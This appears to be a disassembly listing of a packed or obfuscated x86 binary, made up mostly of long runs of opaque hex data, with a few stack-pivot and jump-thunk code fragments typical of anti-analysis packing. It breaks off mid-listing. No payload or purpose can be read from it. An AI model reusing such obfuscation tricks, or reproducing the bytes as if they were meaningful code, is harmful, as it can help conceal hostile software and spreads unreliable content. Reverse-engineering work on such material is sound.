4DA574AAh dd 0E690CE31h, 0D78EF407h, 1AF86AA7h, 67D0F984h, 0F8F8431h dd 7CBC22D9h, 0E682FD60h, 24CA23FFh, 72029C77h, 0A6F81Dh dd 570B086Dh, 4379E2BCh, 29B9A7E2h, 0AB89BFE9h, 807B4CCh dd 0B77EE62h, 0C6507E7h, 0BD203C7Ch, 0E307E6FAh, 0F74CE48Ah dd 0D84C821Ch, 7E6FB05h, 8B8A9AF3h, 9B74AA13h, 0B0B0D983h dd 5747CB20h, 0FBFD19B1h, 980FE100h, 5F1C1C6Eh, 0CA70EF1Ch dd 87EB2881h, 0A3A9DFE1h, 9251475h, 9C1915A6h, 7A0A73CCh dd 0B7277450h, 7B213FCDh, 59F5C7E3h, 0C821A413h, 61640E38h dd 0FB9DA7A7h, 0E0A9C255h, 4AD4F080h, 58A3AC3Bh, 0F91A6FFFh dd 51C26FA5h, 0F7788F4Dh, 205B05ABh, 81381h, 732BEB00h dd 1C82903Dh, 0C2DC39E6h, 6E30DF8Ch, 18868B38h, 12F9AEE2h dd 0BC699FFFh, 63104658h, 0EBBF1ADh, 94639905h, 91BD203Ch dd 7DE307E6h, 0CA96F3C6h, 6CA5FA3Ah, 0EE6DA732h, 9153151h dd 0E65A0069h, 7E70C6Fh, 1F74045Dh, 0DD75ABF3h, 7C0C4B3h dd 0EA90043Ch, 3EC9D53Dh, 0E8283AD9h, 99022BB6h, 9E3AB2DBh dd 0C3629D91h, 7A4h, 0ACE2BC5Ah, 558B13FFh, 0FB316DA8h dd 0A7DDC14Eh, 518717FAh, 927F681Dh, 0EB29D60Ch, 40D07DB3h dd 987B285Eh, 0A901D006h, 0E6912A8Dh, 3BF25807h, 3ACA96F3h dd 3B9EBAFAh, 5FFE683h, 0DB048F0Fh, 279B419Ah, 7E68DB0h dd 0E035C51Eh, 2EC66C32h, 2F92AEEEh, 1C07E68Ch, 0CA796136h dd 48DD1EADh, 1E47D2CCh, 0B1620FB5h, 0CA1FB7EDh, 0A1CA5549h dd 6DF39AFBh, 178788DDh, 66BDD971h, 7407E6A7h, 0FE64901Bh dd 807E6A6h, 0A9FECD87h, 0C1913767h, 4074AF89h, 4327h dd 9AF3B800h, 0BB1A36C6h, 0E9FFE683h, 72D90590h, 7CFFE683h dd 487241FBh, 4ADF86Ah, 0E2B2583Ch, 38753DAAh, 0D2355191h dd 0FFE72Dh, 112001A7h, 0B1000000h, 1FF6Dh, 0C9E52500h dd 0FFE68366h, 0D68D338Ch, 0F3AB67BCh, 0C0993F68h, 0D78900AAh dd 8A292B47h, 238D07E0h, 39D870C0h, 37B1DA65h, 0B74CB20h dd 0B4EA267Bh, 5865C90Eh, 6EB78B73h, 99B5451Bh, 0B03191C7h dd 0CEE772CBh, 0D515A5BBh, 915156B9h, 29E77CAFh, 0CE660C75h dd 0C5D9398Eh, 0F521AB1Fh, 6CC5B78Eh, 40ECB2DCh, 0D7F0832Fh dd 0CF449931h, 27EC99CFh, 265AB977h, 367131C9h, 65797h dd 2F6FA700h, 0D8C64CF9h, 7E20F5A2h, 2A749B48h, 0D4CA47F4h dd 0CEB56A9Eh, 78255B43h, 1FCC029Ch, 0CA77ADF1h, 501F5549h dd 9379DCF8h, 41A707E6h, 0B6CA78Ah, 0E6838CEFh, 0E4BA56FFh dd 6FEF3059h, 0E682F053h, 54BD16FFh, 0D01060EBh, 0E68351B4h dd 833746FFh, 19E8C57Ah, 0CFCF43D8h, 38B21B44h, 0DC716F2Eh dd 298A3038h, 46700060h, 0DD9EC96h, 23BB6141h, 0E161A507h dd 4278D107h, 62207E95h, 9E64D00Fh, 0CD36D510h, 31000005h dd 0D683B9E5h, 7F2C623Ch, 25D20896h, 0D17EB4EAh, 0F4285E40h dd 0E5B9583Fh, 8C1202AFh, 3767A956h, 0DFBF5401h, 6682DAA9h dd 7E69303h, 0BC14CB31h, 82FD607Ch, 0CA23FFE6h, 0CB258850h dd 21C70E73h, 51C39F74h, 3099C24Dh, 0CBD340A5h, 39F32440h dd 0AAE0BE55h, 750FA2DAh, 3E4038h, 0F3D10000h, 1E3ACA96h dd 7E08C34h, 0AAF41DB2h, 0FD8DF61Fh, 0A8336BA8h, 8BD93C58h dd 0AE0707E0h, 0E00C9F45h, 7E08B79h, 41480283h, 406E9709h dd 67A7h, 0FB175700h, 7E07F98h, 8BF65BEh, 0E4B996F3h, 518227E0h dd 0C1DD6DD6h, 7E199C0h, 1B839126h, 6EFE6790h, 94F35144h dd 0C166FC12h, 96BF4A54h, 0F0358F0h, 7FE5598Fh, 4707E0F5h dd 49CD2CCh, 93A550DAh, 7AD6859h, 68AAB85Ah, 1982AB36h dd 0F6143E8Eh, 0A40723A9h, 0D207E0A3h, 6D52FF79h, 0D51900A6h dd 0B2000004h, 3ACA96F3h, 0E0AD8C1Eh, 7E9A1A07h, 7E0AC1Bh dd 6ADA2710h, 63A4A550h, 0BC11A10Ah, 97070A58h, 0EF7AE30Ch dd 288D20C6h, 0CE23B3EBh, 5DB75C42h, 0E78DB641h, 8C2FB54h dd 395C0F39h, 0EA51969Fh, 0BAA6E344h, 55AAEA2Ah, 3059E4BAh dd 0E14B61C4h, 91368F07h, 3771D81h, 0FDB7571h, 5E40D126h dd 0E0166FB8h, 33BEE033h, 1D818EE3h, 79049A78h, 4049AA50h dd 0E749020h, 3C07E180h, 803DA0BCh, 0E36307E1h, 0E18064C7h dd 0D0399207h, 9C77DC67h, 0FE127702h, 65F0AE64h, 0F848D33Ch dd 0E18079DCh, 0F24EA707h, 8D5F07C1h, 8EF10D4Dh, 0B407E180h dd 7A34B55Bh, 73107D96h, 1A848B0Dh, 11EC668Fh, 6CFC65E1h dd 16A6F817h, 0E0DA97FAh, 0BE64BD07h, 8CA8E880h, 7E0DA29h dd 0F758FE57h, 1C829292h, 9D0723B3h, 490FDAF1h, 0B5405EB4h dd 3398238Ch, 187B97E0h, 5FFE6C4h, 0C1C57F82h, 54D4154Eh dd 0E748D538h, 39A2FBFFh, 482A8DA9h dd 0FF58FFE7h, 6CA60B96h, 0D042A732h, 0BEFF43CEh, 618A5C04h dd 0E67A0FA7h, 97FA1656h, 0BDFFE748h, 4955BF64h, 85EF0BA3h dd 6107E15Fh, 5662C5E1h, 0FB9007E1h, 0D3FC8717h, 1ECB016Ah dd 0CE1EA9F5h, 61079779h, 0B6415DB4h, 866A245Dh, 43DB118Dh dd 0DB479819h, 0F99F014Bh, 0DF6FF198h, 0DB165DC3h, 2EE53A0Fh dd 16BCE570h, 84E974CDh, 557F0F8Fh, 0C5554512h, 0E07319ECh dd 0D36B254Eh, 0FE1AAAB6h, 7E10298h, 0B81B3777h, 0DE07E102h dd 6F2FE085h, 0CC15BBE4h, 0D0B9E373h, 857213B7h, 35E220C6h dd 630C0DEh, 0D3C00B7Dh, 0EE812745h, 84148A89h, 0E0C79D5Ah dd 282326E0h, 0E8F56B9Ch, 0FC3AE049h, 98060F64h, 2CF891F2h dd 0BD4DB6E8h, 0DB0D07A1h, 0B7429B0Fh, 0E6F8248Bh, 0F3AD2EFFh dd 7500B4ECh, 365238h, 0C2020000h, 0E6F043A6h, 721871FFh dd 0CA96F3BBh, 9C501E3Ah, 0F54E07E0h, 9BD73E6Ah, 60E107E0h dd 9082D7A6h, 0B45A830Eh, 6EA7ACE4h, 0F94A40h, 0A5FA0000h dd 0D68D336Bh, 0A7326CA7h, 8CA8CF42h, 0FFE68329h, 0E84FE57h dd 0AF7D515Bh, 78DD68D1h, 1378039Bh, 0F4689E00h, 0FFE6AD08h dd 0BAD6A172h, 0FFE6A457h, 85BB247Dh, 0EA273BD8h, 0A7C04BB4h dd 0D2EE7EE2h, 7E0B9ECh, 2A8BC11Ah, 5571015Fh, 0FDD9979h dd 67BC4CA5h, 3D61B4AEh, 2FE449D4h, 52BBE46Fh, 7FD414ACh dd 0B6630995h, 73B3435Bh, 0ED58F457h, 54B7D3FFh, 82FFED59h dd 0E98FE829h, 4F13FEABh, 0D939DEC0h, 419E5CC5h, 42999896h dd 21E6807h, 36E00000h, 8D853268h, 0E72EDB11h, 3BD481B7h dd 91802D63h, 0EEA3D70Dh, 5C920C05h, 33965AFh, 0AEE4BA56h dd 568C1201h, 0B0132F87h, 0D607E697h, 6AA7B970h, 0C251FE34h dd 0F9A3E1CBh, 0D3FC8717h, 0A4317759h, 0E72A2588h, 89F24BFFh dd 0E9669020h, 41972CEEh, 6F0745EBh, 3BB0132Fh, 7DD6FFE7h dd 0DA6539D8h, 0F3540BB1h, 0FA3ACA96h, 833B9EBAh, 0FE1AFFE6h dd 0FFE6839Bh, 0D62F70C9h, 9BEEBC30h, 739D07E0h, 4E578E14h dd 0B3FCA226h, 0BF9D7C49h, 922284CEh, 0E17E1376h, 7FE84107h dd 0C04FA4F4h, 2E1953DEh, 0AB697142h, 3AAE54BDh, 7E0A4D3h dd 9BA25CDDh, 406EB063h, 811DF54Ah, 0DAFADBh, 0A78B0000h dd 42A7326Ch, 1844CFCFh, 0FFE6882Ch, 6CA5BD56h, 0F47F1FF6h dd 69F962CBh, 87AA0D29h, 7FD8FFE6h, 25EE9BD9h, 0B4D5EE79h dd 9CDC1CACh, 0E6871D80h, 0CED943FFh, 5D21156h, 0A317BD26h dd 7E114BDh, 0F95A90E9h, 2A8DA990h, 5807E0ECh, 0F08785FFh dd 0D70B9CAh, 0BFEA14A4h, 0E0E70229h, 0E1FD953Bh, 0FDDB9A6h dd 0BD203CBCh, 0E3FFED0Bh, 5191218Ah, 0ED0BD235h, 1A700FFh dd 0A1FD1469h, 927ED36Bh, 0F35C42D0h, 0F171A04Dh, 0CFCF431Fh dd 49B21B44h, 98C84A8Bh, 4BEA2599h, 0C0h, 90C6D83Eh, 396F2FE3h dd 0DF15898Ch, 8BC1DD32h, 356B33DEh, 0AE634C01h, 70DBAF0h dd 5CB46197h, 0B45F0C42h, 8DE5B4EAh, 0E6980E71h, 17CE3407h dd 0FE346AA7h, 6FA0C251h, 0D990C62Fh, 0A7326CA7h, 98FB1757h dd 0BEFFE683h, 112BF65h, 82F75A76h, 0D4E4FFE6h, 0E5EB17C9h dd 3CA5FE3Fh, 7CE4A506h, 506CACECh, 0FFE6DEEDh, 0A014BA13h dd 7E6E925h, 0B3EB26BBh, 52690F39h, 1A83AD2Fh, 0B5E92A8Fh dd 5D41D27Fh, 9842A6D2h, 0C41417B8h, 55FBA36Fh, 0DD361AD4h dd 35DE8BC1h, 9679DE69h, 0C2EB7D08h, 0AFEF2408h, 4647CC79h dd 0B55F1D1Ch, 5945CD15h, 5DFC87F0h, 8, 267BBBF6h, 540BB1EDh dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 4EC8152h dd 54000000h, 8124048Fh, 42404h, 89530000h, 4C381E3h, 83000000h dd 1C8704EBh, 0C895C24h, 7A9D6824h, 34890000h, 0CC685024h dd 584A8A67h, 75A31B05h, 8BC189BDh, 0C4812404h, 4, 24348B54h dd 4C481h, 51500000h, 8468958h, 24348B58h, 81E68956h, 4C6h dd 4C68100h, 87000000h, 8B5C2434h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dw 8E3Ch dd 3E9A7157h, 167CB844h, 0C5030800h, 856CE0FFh, 0B04D18C9h dd 0D4D41A1Dh, 16230DC0h, 69AB0263h, 277D1F22h, 8B1B2BC3h dd 359F2A2Eh, 5EE87044h, 93620AB1h, 0B147CF2h, 8D8D1A83h dd 8001812h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 8DC35646h, 8F89988Ah, 0FE958CCh, 0EB000000h, 9510B373h dd 0CD0BA59Bh, 0AC23473Ah, 8D896AD9h, 7FA1CD9h, 100D9523h dd 85C707FAh, 7FA31ADh, 641Ch, 0AE9h, 0D9246F00h, 0C12D8E32h dd 0C7A1A217h, 0FA2BD985h, 7, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 289BD2B2h dd 99A25F84h, 68D0Fh, 9D8B0000h, 7FA0079h, 14C99D23h, 0B5FF07FAh dd 7FA2F59h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 5FC35747h, 807A46CDh, 95FF00DEh, 7FA1799h, 95FF006Ah dd 7FA1019h, 0CEBC08Bh, 0F933A049h, 3520DD2Bh, 0D6A6F456h dd 0FE8h, 6E99A00h, 81BBC537h, 8A5E14EDh, 72FB698Bh, 4840Fh dd 0BF660000h, 0F5E1C9Ch, 880h, 8D895600h, 7FA29BDh, 95C6815Fh dd 300006Ch, 0FA1C2195h, 1C93307h, 0FA062585h, 0E048B07h dd 2FA9950Bh, 0F08107FAh, 1A9EF249h, 54F081FCh, 8126C020h dd 1E48FDF0h, 259D8B5Bh, 5007FA2Fh, 8FDE8B66h, 0CA800E04h dd 0D040BF4Ch, 0E98101DAh, 4EB90D7Fh, 7BC181F5h, 604EB90Dh dd 0D9F38166h, 219D8B3Fh, 6107FA08h, 9400F981h, 850FFFFFh dd 0FFFFFFA9h, 1E299D09h, 10E807FAh, 0B7000000h, 160879C1h dd 90CAF4DAh, 0A47804D5h, 8076E8F3h, 315F3BDFh, 0FA29E595h dd 16C78107h, 0F000071h, 289h, 33CB8B00h, 0E98166D2h, 34FF7881h dd 3595093Ah, 5807FA0Dh, 81F081F8h, 0B17E31F7h, 29E881D6h dd 89358235h, 0FA0821B5h, 29C08107h, 8B64433Dh, 0FA0811B5h dd 17048907h, 24E59589h, 9D8B07FAh, 7FA0E51h, 0F02EA83h dd 989h, 3880F00h, 80000000h, 4A4A2DD9h, 2C31B58Bh, 0FA8107FAh dd 0FFFF8FA8h, 19850Fh, 0B5890000h, 7FA21D5h, 28E9h, 709FF300h dd 0F71FE784h, 0BDF8B1CAh, 0FE7E433h, 68Ch, 0C98D8B00h dd 0E907FA31h, 0FFFFFF76h, 6623A1ADh, 6405607Ch, 28E9D7h dd 7D270000h, 57CAh, 253h, 7 dup(0) dd 1FE90000h, 6800000Ch, 8001B47h, 0FB3B57E9h, 1C7D68FFh dd 4DE90800h, 68FFFB3Bh, 8001E14h, 0FB3B43E9h, 1ED768FFh dd 39E90800h, 68FFFB3Bh, 8001FB6h, 0FB3B2FE9h, 217468FFh dd 25E90800h, 68FFFB3Bh, 8002224h, 0FB3B1BE9h, 235768FFh dd 11E90800h, 68FFFB3Bh, 8002442h, 0FB3B07E9h, 378E81FFh dd 0C2F109B0h, 5168943Bh, 0DAED23CAh, 6851AC53h, 0B65C47E1h dd 44EB724Bh, 0D077FEB7h, 5D048B3Ah, 578E15ACh, 30AE6BE8h dd 0D50EEFE2h, 259C6DA1h, 0A312EB8Ah, 2865A51Ch, 316E74F1h dd 95E0EF7Ch, 410CC5FAh, 2E99EFDCh, 13250E63h, 329CD0AAh dd 78000000h, 0E9205D9Dh, 7C1F3A6Ch, 0BE59A4EFh, 0DC2ED089h dd 27F25DEFh, 0AA2579CAh, 10B58D0h, 72F10000h, 13487F8Bh dd 0EFDC2356h, 0D3EA17B6h, 65A2ED38h, 18EED539h, 789168A5h dd 9077AE49h, 370E4B7Ah, 0B958F3CAh, 37D67140h, 0C98603C6h dd 29E7E216h, 755C93DEh, 4A953087h, 660F4E0Dh, 0ABB89C78h dd 79E623C7h, 0E7E31273h, 0ECB48C7h, 6EE7E312h, 3B8639CFh dd 8BD627FEh, 60AB4671h, 16E78E15h, 5595049Fh, 6264E118h dd 0AEEF7D32h, 0B38F4705h, 0DB183BA6h, 41B83F8Ah, 0E48DC4F9h dd 71E19817h, 1F8ECB85h, 5A47B9A0h, 96D1F227h, 0A23D885Ah dd 0D0AD1A57h, 70F771DCh, 0FA07EE25h, 53A58CC3h, 21601F5Ch dd 5D6825A2h, 7DC8F7DAh, 259C6940h, 675F37E7h, 0B5F8C31Dh dd 9DEh, 0E36A43B4h, 6EF5CC3Ch, 0FD843BC7h, 860DA056h dd 149B22DFh, 1CE9697Ah, 84771EA5h, 903AA31h, 799037BEh dd 1B8AC148h, 0E231E19Eh, 0D40841EFh, 0F229906Dh, 86C3F20Bh dd 0D8E920C7h, 0D02B1251h, 0B14C7B91h, 8D7C1B66h, 114E9934h dd 0CC5D9DE5h, 9DE8833Ah, 1D9C1B52h, 0E216E3A0h, 0BBF843E7h dd 7C201C4Eh, 0A03B86EFh, 0DC2FB26Bh, 0D9C03FEFh, 0FB569322h dd 2462D130h, 0C069D0AAh, 6F571A9Dh, 0AB14D04h, 4E0B88BFh dd 0AEEFDC5Ch, 0EDAD2663h, 89000000h, 0AA13EED5h, 4E67966Dh dd 0D0E914B3h, 0EB17FE35h, 242A97D4h, 78E7E21Ch, 1BBF7CF9h dd 0D41FE7E2h, 8C49C097h, 0C25D54A5h, 1C854277h, 46E5E7E2h dd 1B6601B4h, 0E9D831D0h, 31B8034Eh, 0A742738Ah, 84BBF038h dd 7C3D0507h, 9D246FEFh, 0A562DF5Eh, 5EFDC3Ch, 96D67DBAh dd 3BABF805h, 2A827F10h, 0C30EA9F4h, 0EB520F8Ch, 67B2EFDCh dd 0C068E51Ch, 1AF77137h, 0EC378E7Bh, 8A33CEB5h, 9A57D453h dd 0FAF7D9C9h, 0CB372AFh, 308974F1h, 0D6033495h, 500E6Dh dd 22C6AB5h, 0FE1D6847h, 8A8F033h, 15EA0000h, 9A7219A0h dd 1FDA42Bh, 7A8C33BAh, 0E815BC43h, 0A3B04AD1h, 54DBE21Fh dd 0E0675EADh, 6DF4C339h, 0F77E37C6h, 17D451C0h, 77EFE233h dd 906D0A3Eh, 0F30BF229h, 0DFD625C4h, 0FDBCF944h, 8F26D7BEh dd 956CA9F4h, 0CAC64D64h, 0AA13EED5h, 0D925C40Fh, 0BFFC47E2h dd 5A011E8h, 0A017E7CEh, 447D8C63h, 0C90646BDh, 235B1592h dd 54B5EF7Ch, 0FDA75B4Dh, 0BA0DFF25h, 0EA89246Fh, 741BA213h dd 5A912C85h, 0BFA15EDBh, 0B601EFDCh, 0E1320C79h, 0B046771Ah dd 0C96453A9h, 0F998337Eh, 7716B100h, 48932E81h, 9405D0EBh dd 6421EC07h, 8031C895h, 0C84F9AE5h, 0A2D9E821h, 0E2E9A623h dd 12497722h, 22E2D895h, 0A2ED3877h, 0A35D9265h, 187722E2h dd 7A4BC2A9h, 4E17E23Dh, 0E8CF06BFh, 0BB24F12h, 3FDA2570h dd 0CA355F4h, 2AE92671h, 0A03B8A83h, 0BA50556Bh, 99648766h dd 0DE7E2DDCh, 0B2C31AA2h, 0DA97144Bh, 3A7722E1h, 761DA4EFh dd 8C54287h, 687722E2h, 0C837D21Dh, 95144B80h, 2A675EAEh dd 0BD009BBDh, 73FA457Eh, 487FBCFCh, 0B742A5CBh, 0BA523986h dd 327DCE0Bh, 44A86297h, 0B8378717h, 0EF8A39D1h, 33F06DA4h dd 93871745h, 0E5B00B48h, 6517A78Ch, 47F1A48h, 0D7F60000h dd 0E7E2171Ah, 0E226A55Eh, 28C0E1E7h, 934CE7E2h, 0CDE7E22Bh dd 2C8AC024h, 4F8C541Ah, 0F42B60A8h, 0B03BF875h, 509BE7E2h dd 5927A413h, 0FBEF7CCAh, 0DDCE72B0h, 6F3A1565h, 7112Ch dd 378E8100h, 0C2F109B0h, 5168943Bh, 0DAED23CAh, 6851AC53h dd 0B65C47E1h, 44EB724Bh, 0D077FEB7h, 5D048B3Ah, 578E15ACh dd 34AE6BE8h, 0D50EEFE2h, 259C6DA1h, 9ED31B8Ah, 0EC69E867h dd 0E7E2172Fh, 9A07448Fh, 0DFE21E70h, 0E8DF2BCAh, 30B7024Dh dd 0A3EBF414h, 1CBA376Eh, 0BEF77C36h, 0F1933C73h, 0A7F019ABh dd 2F94FD3Ah, 96FD8BB7h, 73E73BBh, 0D7B6348Ah, 25E1C8AEh dd 81B8039Eh, 37C64704h, 1F5CA7AFh, 0B1E883CEh, 0C5F8B532h dd 0D58AF37h, 0ACE129D0h, 0BC79F675h, 1CAF37C5h, 0EADB32D1h dd 0AAC13EADh, 42B6D1F0h, 20D9C0F7h, 0AA630A91h, 0E2039605h dd 0E12C89D2h, 0D034A9A3h, 539661DDh, 64Eh, 73FAB344h dd 0FE853CCCh, 8D14AB57h, 169D10E6h, 0A42B926Fh, 8C79190Ah dd 0F407AE35h, 79933AC1h, 0E920C74Eh, 0AB1A51D8h, 0E235712Eh dd 6498D1EFh, 30CC5D9Dh, 56F1C835h, 3E75C00Bh, 740FA657h dd 7DEC29h, 0EF7C2346h, 44DD3FA0h, 0BAF851Dh, 0DC66D18Eh dd 9BE631EFh, 0E716B550h, 77A633CEh, 0B24D7490h, 4CF2A67h dd 0BDF42971h, 76738640h, 5E95E0F7h, 82A562DFh, 0BA05F7D6h dd 0C881BE7Dh, 4F7D682h, 0F7D68347h, 8A800951h, 0D2B9F03Bh dd 0DE4D8A3Bh, 0D68A3761h, 7C3091EFh, 0ACEED8A7h, 33AD520h dd 6EBEED1Ch, 8D118A94h, 4C97327Dh, 2B685FADh, 0D66502BEh dd 48C746FFh, 0D6650ECBh, 0EE236EFFh, 0FFD66531h, 9C094691h dd 0EF6DD288h, 2E6C45B4h, 56B5726h, 6FD417E2h, 23000005h dd 0AB52D9ECh, 36DD6453h, 0C56CF3CAh, 4EF57C33h, 0E9830AB3h dd 14AD58FAh, 0A015E68Dh, 2D987219h, 0B70EFFA6h, 0D8AF930h dd 0EFE23650h, 9D4377B0h, 6CE9205Dh, 0DFE21E42h, 0C582FF7Eh dd 25EFE22Fh, 6926A3DAh, 0C9EFE230h, 0A5F0417Eh, 23926B0Ah dd 0BCF305ECh, 9A81C07Fh, 70BB566Fh, 2FFFBC39h, 145FEFE2h dd 0B2EF30D7h, 30817817h, 0A40B02A9h, 41F504BBh, 0D224C38Ch dd 0AAF540DBh, 2B2FD80Fh, 8D48794h, 0F1719124h, 0FCFBB690h dd 0E219C27Fh, 8CD722EFh, 3081784Fh, 713C9795h, 40B69D1Ch dd 1A7B386Dh, 90DBEFE2h, 348D7C53h, 3EC172ADh, 5A00DF50h dd 0DC000001h, 0E9205D9Dh, 7C354A6Ch, 0A555F4EFh, 0DD28730Eh dd 46560D42h, 5AC9EFDCh, 0F12E9973h, 0F23ACB96h, 0E70986BDh dd 91F77664h, 0E118BF46h, 98338A7Ch, 0C867024Dh, 82F98031h dd 51CE053Ah, 0FF70904Bh, 0A2D772BDh, 0FFD09FE9h, 0DD400B76h dd 14AF06F6h, 12218CC9h, 0AFC0BEB0h, 2Ch, 205D9D8Bh, 1F3A6CE9h dd 59A4EF7Ch, 2ED089BEh, 67A2EFDCh, 0D824C35Eh, 8AAD46E1h dd 0FB664ABFh, 2562D130h, 0C45FD0AAh, 3B000000h, 490F9C6Dh dd 3A33A920h, 0FB6A3C9Dh, 96387086h, 6A6B144Bh, 4C759052h dd 72409EBh, 0E5229368h, 2F967312h, 5904F594h, 2E7914A3h dd 681148E3h, 95673753h, 2EDC122h, 82F9B633h, 0E59E7E2h dd 5EAF86C3h, 9DA3E067h, 89E7E287h, 43BA4170h, 128FC6FBh dd 0EF76D5E8h, 0D9C0F742h, 6F2CA92Ch, 0CFEFDF68h, 5EBA2384h dd 0BB3C4BFEh, 0C742E970h, 0D8BEC0FEh, 9F6A1562h, 3B15Ch dd 972EE100h, 22916910h, 0B108F49Bh, 3A8D832Ah, 0C8F10CB3h dd 16BCA741h, 0A44BD2EBh, 30D75E57h, 0BD64EBDAh, 0B7EE754Ch dd 380ECB48h, 356EEFE2h, 0D5906D01h, 0C0479229h, 9AD1E019h dd 16E19E1Bh dd 0F641E7E2h, 6DFEFAB9h, 0EB8A259Ch, 0DD1CA312h, 75B20BF6h dd 971ED749h, 0A15AE7E2h, 0DBE7E296h, 14AF06F4h, 97328975h dd 1DC4014Ch, 7BE4CDDh, 0DE0885BCh, 38DFE29Eh, 9BE352EDh dd 4D78937Ah, 753267B2h, 0D5EFE2B1h, 52EDC036h, 3A71BC07h dd 0FF1912BBh, 8F63AD7Fh, 60AB4679h, 0DD6BD815h, 7FF77CB1h dd 826AF634h, 0CB961D65h, 30188h, 477E9100h, 0D2E119C0h dd 6158A44Bh, 0EADD33DAh, 7841BC63h, 0C64C57F1h, 54FB823Bh dd 0E0870EA7h, 6D149B2Ah, 679E259Ch, 38BE7BF8h, 0E51EEFE2h dd 259C6DB1h, 8D12EB8Ah, 2232B9D6h, 0CA519C30h, 8C820B53h dd 0EA679E39h, 0E7E2582Dh, 0ACF7428Dh, 72F2F875h, 1964EF7Ch dd 0C5EE39E2h, 0B1995D4Ah, 0B36CA174h, 40EFDCB6h, 8CB70AD5h dd 45D0AA99h, 39h, 205D9D21h, 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh dd 68A2EFDCh, 75C0F709h, 0F5C03BDAh, 0D39EC15Ah, 4C178266h dd 0AA254EF5h, 910E8DD0h, 0EFDC22D4h, 33ACE934h, 0D3h dd 0D19C6D0Fh, 0F1C43A35h, 25C00B56h, 55F48FDAh, 0D77611A8h dd 1A67926h, 4581C992h, 49C05FFAh, 7189D424h, 115CA742h dd 59E02B76h, 0E29D161Ch, 0BA0B02E7h, 0F07D8C33h, 2A61AC15h dd 5FFACD43h, 0A360DD14h, 3E7E29Ch, 39A87BB8h, 219068F1h dd 43B89FD6h, 49C63572h, 0EF7CB10Fh, 924FCC4Bh, 0F2EFDCB3h dd 0CE196AA7h, 5388D047h, 155F9F1Ch, 7EC9F771h, 1CA56047h dd 0AA13EE95h, 6865066Ch, 0F437021Dh, 1CEh, 0F37A33C4h dd 7E05BC4Ch, 0D942BD7h, 961D9066h, 24AB12EFh, 0CF9998Ah dd 74872EB5h, 0F913BA41h, 69A047CEh, 2B9AD158h, 0E239F1AEh dd 0E41851EFh, 0A229906Dh, 4AC702FBh, 0E7E2178Dh, 6BF4EEDh dd 9C905ABBh, 3A38D088h, 9D6C68EFh, 40E9205Dh, 0BBC5F923h dd 0A1104D61h, 7CB2F224h, 0C9FB5CEFh, 7E773158h, 0CC039EE9h dd 3E27FA23h, 6698671Ah, 5AC7044Fh, 0EFDC7DA1h, 99F8C32Eh dd 0D0AA5AAAh, 7835B231h, 0D8EFDC72h, 55F0C739h, 982BF0Ah dd 0C0h, 259C6DE5h, 0A71EEB8Ah, 1BD1D70Ch, 4CBDE7E2h, 0B647EE75h dd 0B5F564FFh, 8AC44178h, 0E4EF7C2Fh, 54D31299h, 0DC311AD7h dd 0F22F7AEFh, 97CE034Bh, 306D54B0h, 7E5F44C1h, 0C40FF770h dd 625BA68Dh, 0DAC934DBh, 0A11826E0h, 609EE9D5h, 1D69FF38h dd 0E3DE21ECh, 0AF000000h, 37DE6558h, 0C269F0C7h, 51F87F46h dd 0DA8108BFh, 750F962Fh, 0A019E46Eh, 2C997219h, 0B90CFEA5h dd 43728B32h, 991685BCh, 0EFE23ADCh, 0D5CF033Ch, 171CD956h dd 317CE7E2h, 85E01DF4h, 639F3E75h, 0F3DA115Ch, 10A7571Ah dd 44DF2A75h, 56FDBCF9h, 58D70EA7h, 0E2171EDBh, 0F6337EE7h dd 0F511F837h, 669433CEh, 9BC7044Fh, 370F9C6Dh, 8C31537Ah dd 0D209A4EFh, 9B025F29h, 0B4F104BFh, 0E952CDDh, 0E31A5797h dd 0E2E82066h, 0AC4792DFh, 9971FC0Dh, 0B158DF2Ah, 99CE6958h dd 3FACC2DBh, 5AB39AC9h, 8D32E6Bh, 0E8DFCC3Dh, 0A71B488Fh dd 7A21A8F3h, 0F8973283h, 9178AF06h, 0EAD487Fh, 1F80CBF2h dd 754830E8h, 855895A9h, 0F712F928h, 0ABE833CEh, 49C08550h dd 0B34AF178h, 3246702h, 0 dd 9A6DB6DAh, 10E98823h, 956706A1h, 13E88722h, 9D6807A2h dd 1FEA8924h, 9A6C0BA6h, 1DE98823h, 9C6C0BA6h, 68FA8A25h dd 738Bh, 24048F54h, 4240481h, 56000000h, 0C681E689h, 4 dd 4EE81h, 34870000h, 14895C24h, 2A5D6824h, 1C890000h dd 9DBE5624h, 81403207h, 1433EFF6h, 66F68107h, 894F262Eh dd 24348BF2h, 4C481h, 8B540000h, 0C483241Ch, 57D16804h dd 14890000h, 8438F24h, 53241C8Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 148B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_59895C ; --------------------------------------------------------------------------- dw 0EAA6h dd 4AB8A70Eh, 3080025h, 49E0FFC5h, 2100CB79h, 0D5251A55h dd 0DB17A529h, 0CD675C43h, 8A2BBD27h, 0D861D50Ah, 216F554Fh dd 162561E0h, 0D101A9EAh, 210D0C6Ah, 4D02FF2Dh, 3730F4B1h dd 322B3437h, 6C498E4Ch, 0F76DEAE3h, 8D64A90Ah, 27058Dh dd 51006A08h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 4F709B2h, 66262692h, 0F60DE8Bh, 8B51D9B7h dd 0FA266DB5h, 89615F07h, 0FA1CD98Dh, 6840F07h, 89000000h dd 0FA30FD95h, 0AD85C707h, 6C07FA31h, 8900005Ch, 0FA1771B5h dd 0D985C707h, 7FA2Bh, 0E8000000h, 0Ch, 0FC93AB49h, 0CD776FCEh dd 0F2C82B6Eh, 0EDB5FF5Bh, 6A07FA28h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 38A1C350h dd 4645F240h, 0EE950A2h, 0C7000000h, 0DDCE1A36h, 68453465h dd 0E22F82F9h, 95FF5FF0h, 7FA1799h, 